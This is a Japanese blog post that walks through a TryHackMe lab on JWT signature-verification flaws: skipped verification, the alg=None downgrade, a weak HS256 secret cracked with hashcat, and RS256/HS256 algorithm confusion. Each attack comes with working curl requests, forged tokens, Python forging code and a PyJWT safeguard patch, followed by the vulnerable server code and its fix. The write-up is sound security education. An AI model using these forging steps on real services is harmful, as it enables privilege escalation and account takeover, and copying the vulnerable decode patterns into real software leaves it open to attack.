1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】JWT署名検証の落とし穴と典型的な4つの脆弱性

Last updated at Posted at 2025-11-13

はじめに

JWT の安全性は 「署名が正しく検証されていること」 に全てが乗っています。
どれだけ強そうなアルゴリズムを使っていても、

  • 署名をそもそも検証していない
  • アルゴリズム指定を信じてしまう
  • シークレットが「secret」レベルの弱さ
  • RS256/HS256 をごっちゃに扱っている

といった実装ミスがあると、攻撃者に トークン偽造 → 権限昇格 → アカウント乗っ取り を許してしまいます。

この章では、TryHackMe の Practical Example 2〜5 に沿って、JWT 署名検証まわりの典型的なミスと、その修正方法を整理します。


1. シグネチャ検証ミスとは何か?

JWT の構造は以下の3つでした:

  • Header(ヘッダ:alg, typ)
  • Payload(ペイロード:claims)
  • Signature(署名)

このうち、「改ざんされていない」ことを保証するのは Signature 部分だけ です。

したがって:

署名を正しく検証しない = 攻撃者が任意のペイロードを書いて「正当っぽく見せられる」

という状態になります。

これから見る4つのパターンは、全部この「検証がザル」という共通点を持っています。


2. 署名をそもそも検証していない(Example 2)

問題の挙動

  1. 通常どおりログインしてトークンを取得:
curl -H 'Content-Type: application/json' -X POST \
  -d '{ "username" : "user", "password" : "password2" }' \
  http://MACHINE_IP/api/v1.0/example2

  {
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}


tokenを解析して

{
  "typ": "JWT",
  "alg": "HS256"
}


Decoded Payload
{
  "username": "user",
  "admin": 0
}


そのトークンで自分のユーザを確認すると:

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4' \
  http://MACHINE_IP/api/v1.0/example2?username=user

→ "Welcome user, you are not an admin"

ここまでは正常。

ところが、トークンの 第3部(署名部分)を削って 送っても検証が通ってしまう:

ヘッダ.ペイロード.

さらに、Payload の admin: 0admin: 1 に書き換えて再エンコードして送ると:

書き換えたToken
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.9SCUBKr8YVDh0y5dClP7JZsjWpHPOojJ3ywGvhqU3v8

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.9SCUBKr8YVDh0y5dClP7JZsjWpHPOojJ3ywGvhqU3v8' http://MACHINE_IP/api/v1.0/example2?username=admin

{
  "message": "Welcome admin, you are an admin, here is your flag: THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}"
}

完全にトークン偽造成功です。

開発側のミス

コード側ではこうなっていました:

payload = jwt.decode(token, options={'verify_signature': False})

verify_signature=False にしているので、署名を全く検証していません

つまり「JWT の形をしていれば中身をそのまま信じる」という危険な状態。

正しい修正

署名検証は必須です。
秘密鍵(または共有シークレット)を用いて、利用するアルゴリズムを明示した上で decode します。

payload = jwt.decode(token, self.secret, algorithms="HS256")
username = payload["username"]

サーバ間通信(server-to-server)でも、

  • 「内側だから大丈夫」
  • 「署名はどこか別のとこで見てるはず」

といった甘えをせず、基本は必ず署名を検証する べきです。


3. alg=None ダウングレード攻撃(Example 3)

何が起こっているか

JWT 仕様では、"alg": "None" という特殊なアルゴリズムが存在します。
これは「署名無し」を表し、本来は内部システム間で、“すでにどこかで署名検証済み”のトークンを引き回すケース向けに用意されました。

しかし、実装が雑だと:

  1. サーバが alg を素直に信じてしまう
  2. 攻撃者がヘッダの alg"None" に書き換える
  3. シグネチャ部分が無視される
  4. 実質「署名検証なし」と同じ状態になる

という事故が起きます。

Practical Example 3 の流れ

  1. 通常どおりログインして JWT を取得:
curl -H 'Content-Type: application/json' -X POST \
  -d '{ "username" : "user", "password" : "password3" }' \
  http://MACHINE_IP/api/v1.0/example3

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}

元のトークンの Header/Payload をデコードすると:

// Header
{ "typ": "JWT", "alg": "HS256" }

// Payload
{ "username": "user", "admin": 0 }

これを次のように書き換える:

// Header
{ "typ": "JWT", "alg": "None" }

// Payload
{ "username": "user", "admin": 1 }

それぞれ Base64Url エンコードして:

<base64(header)>. <base64(payload)>.

(シグネチャ部は空で OK)

これを Authorization ヘッダに載せて送ると、署名も無いのに受け入れられ、admin として扱われる

curl -H 'Authorization: Bearer ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIk5vbmUiCn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.' http://MACHINE_IP/api/v1.0/example3?username=admin
{
 "message": "Welcome admin, you are an admin, here is your flag: THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}"
}

開発側のミス

よくある実装パターン:

header = jwt.get_unverified_header(token)
signature_algorithm = header['alg']

payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)

alg をトークン側に任せてしまい、そのまま decode に渡しているのが問題です。
None を指定された場合にライブラリ側がちゃんと弾かなければ、署名検証がバイパスされます。

※ PyJWT は現在、この問題に対する防御ロジックを持っています(None + secret指定で例外)が、「ライブラリの防御に甘える前に実装側で固定しろ」という話です。

正しい修正

複数アルゴリズムを「自由に」受け入れるのではなく、ホワイトリストで固定する

payload = jwt.decode(
    token,
    self.secret,
    algorithms=["HS256", "HS384", "HS512"]
)

None はそもそも受け付けない
alg をリクエスト側の指定に完全に依存しない

これが鉄則です。


4. 弱い対称鍵シークレット(Example 4)

ここでの問題

HS256 のような「対称鍵署名方式」は、

  • 1つのシークレット文字列 で署名・検証を行います。

つまり:

✅ シークレットが強ければ安全
❌ シークレットが単語レベルだと総当たりでバレる

Practical Example 4

  1. ログインして JWT を取得:
curl -H 'Content-Type: application/json' -X POST \
  -d '{ "username" : "user", "password" : "password4" }' \
  http://MACHINE_IP/api/v1.0/example4

  {
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}

その JWT を jwt.txt に保存し、辞書ファイル jwt.secrets.list を用意。
Hashcat で総当たり:


hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

hashcat (v6.1.1-66-g6a419d06) starting...

* Device #2: Outdated POCL OpenCL driver detected!

This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.

OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]
==================================================================
* Device #1: AMD EPYC 7571, 3800/3864 MB (966 MB allocatable), 2MCU

OpenCL API (OpenCL 1.2 pocl 1.4, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
=============================================================================================================================
* Device #2: pthread-AMD EPYC 7571, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Initializing backend runtime for device #1...    
Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: jwt.secrets.list
* Passwords.: 103979
* Bytes.....: 1231757
* Keyspace..: 103965
* Runtime...: 0 secs

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY:secret
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: JWT (JSON Web Token)
Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZS...F8i5HY
Time.Started.....: Wed Nov 12 15:51:50 2025 (0 secs)
Time.Estimated...: Wed Nov 12 15:51:50 2025 (0 secs)
Guess.Base.......: File (jwt.secrets.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   579.3 kH/s (3.09ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2048/103965 (1.97%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/103965 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....:  -> everybody knows it



Session..........: hashcat
Status...........: Cracked
Hash.Name........: JWT (JSON Web Token)
Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZS...F8i5HY
Time.Started.....: Wed Nov 12 15:51:50 2025 (0 secs)
Time.Estimated...: Wed Nov 12 15:51:50 2025 (0 secs)
Guess.Base.......: File (jwt.secrets.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   579.3 kH/s (3.09ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2048/103965 (1.97%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/103965 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....:  -> everybody knows it

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => Started: Wed Nov 12 15:51:04 2025
Stopped: Wed Nov 12 15:51:51 2025
root@ip-10-201-62-225:~# 



結果:
シークレットが secret のような弱い文字列だったため、一瞬で割れてしまう。

割れたシークレットを使って、自分で admin: 1 なペイロードに署名し直せば、管理者トークンが完成:

import jwt

secret = "secret"
payload = {
    "username": "user",
    "admin": 1
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

これを使ってリクエストを送ると:

curl -H "Authorization: Bearer <自作トークン>" \
  http://MACHINE_IP/api/v1.0/example4?username=admin

{
  "message": "Welcome admin, you are an admin, here is your flag: THM{e1679fef-df56-41cc-85e9-af1e0e12981b}"
}

開発側のミス

  • 「とりあえず secret とか password とかでいいや」と設定してしまった
  • チュートリアルコードやサンプルコードをそのまま本番に持ち込んだ

正しい修正

シークレットは 人間が覚えるための文字列ではない です。
ソフトウェア専用の、長くてランダムなバイト列を使うべきです。

例(Python):

import secrets
secret = secrets.token_urlsafe(64)  # 64文字相当の強ランダム

運用としては:

  • .env / Secret Manager などに保管
  • 短くても 32+ 文字以上、できればもっと長く
  • 単語辞書に載るような文字列は禁止

5. アルゴリズム混同攻撃(RS256 ↔ HS256)(Example 5)

ここが一番おもしろくて危険なやつです。

何が起こる攻撃か

  • 元々は RS256(非対称鍵)で運用している JWT
  • ライブラリ側で HS256 も同時に許可している
  • そして decode()secret として「公開鍵」が渡されている

この状態で:

  1. 攻撃者が JWT ヘッダの algRS256HS256 に変更
  2. HS256 の「共有シークレット」として 公開鍵文字列 をそのまま使用して署名を作成
  3. サーバ側は「HS256 + secret=public_key」で検証してしまう

結果:

公開鍵を知っているだけで、対称鍵署名(HS256)として偽造トークンが作れる

という、本末転倒な事態になります。

Practical Example 5 の流れ(要約)

ログインすると、サーバから:

 curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://MACHINE_IP/api/v1.0/example5

{
  "public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}
  • public_key(ssh-rsa 形式の公開鍵)
  • RS256 で署名された JWT

が返ってくる。

本来 RS256 では:

  • 秘密鍵:認証サーバが保持
  • 公開鍵:検証用に配布

ですが、この実装では decode() に渡している self.secret に公開鍵を突っ込んだ状態で、HS256 も許可していました。

そこで、攻撃側コードで:

import jwt

public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLv..."  # 省略

payload = {
    "username": "user",
    "admin": 1
}

access_token = jwt.encode(payload, public_key, algorithm="HS256")
print(access_token)

注意:このaccess_tokenを生成するため、必要な改修がある。以下のように

vim /usr/lib/python3/dist-packages/jwt/algorithms.py 


def prepare_key(self, key):
        key = force_bytes(key)

#        if is_pem_format(key) or is_ssh_key(key):
#            raise InvalidKeyError(
#                'The specified key is an asymmetric key or x509 certificate and'
#               ' should not be used as an HMAC secret.')

        return key

これを Authorization ヘッダで投げると、サーバ側は:

  • alg: HS256 を見て「対称鍵モード」で検証
  • secret として渡されている公開鍵文字列を使って HMAC 検証
  • 検証OK → admin として扱う

という形で完全に騙されます。

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://MACHINE_IP/api/v1.0/example5?username=admin
{
  "message": "Welcome admin, you are an admin, here is your flag: THM{f592dfe2-ec65-4514-a135-70ba358f22c4}"
}

開発側のミス

両方のタイプをこうやって一括で許可していました:

payload = jwt.decode(
    token,
    self.secret,
    algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"]
)
  • self.secret が「対称鍵用」なのか「公開鍵なのか」を分けていない
  • alg を見て鍵の種類を切り替えるロジックがない

正しい修正

アルゴリズムと鍵の組み合わせを明確に分岐させる 必要があります。

header = jwt.get_unverified_header(token)
algorithm = header['alg']

if algorithm.startswith("RS"):
    # 非対称鍵(公開鍵)で検証
    payload = jwt.decode(
        token,
        self.public_key,
        algorithms=["RS256", "RS384", "RS512"]
    )
elif algorithm.startswith("HS"):
    # 対称鍵(シークレット)で検証
    payload = jwt.decode(
        token,
        self.secret,
        algorithms=["HS256", "HS384", "HS512"]
    )
else:
    raise ValueError("Unsupported alg")

username = payload["username"]
flag = self.db_lookup(username, "flag")

ポイント:

  • RS 系アルゴリズムでは 公開鍵 or 証明書 を使う
  • HS 系アルゴリズムでは 共有シークレット を使う
  • 2つを混ぜない

まとめ

JWT 実装で必ず確認すべきポイントをまとめると:

  1. 署名検証は必ず有効化しているか
    • verify_signature=False とか絶対NG
  2. alg はホワイトリストで固定しているか
    • alg をトークン側の指定に丸投げしない
    • None は受け付けない
  3. 対称鍵シークレットは十分に強いか
    • 「secret」「password」「jwtsecret」など論外
    • ランダムで長い文字列を使う(32 bytes 以上推奨)
  4. RS系とHS系のアルゴリズムを混在させていないか
    • 公開鍵を HMAC シークレットとして使っていないか
    • HS256RS256 を同時に許可するなら分岐必須

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?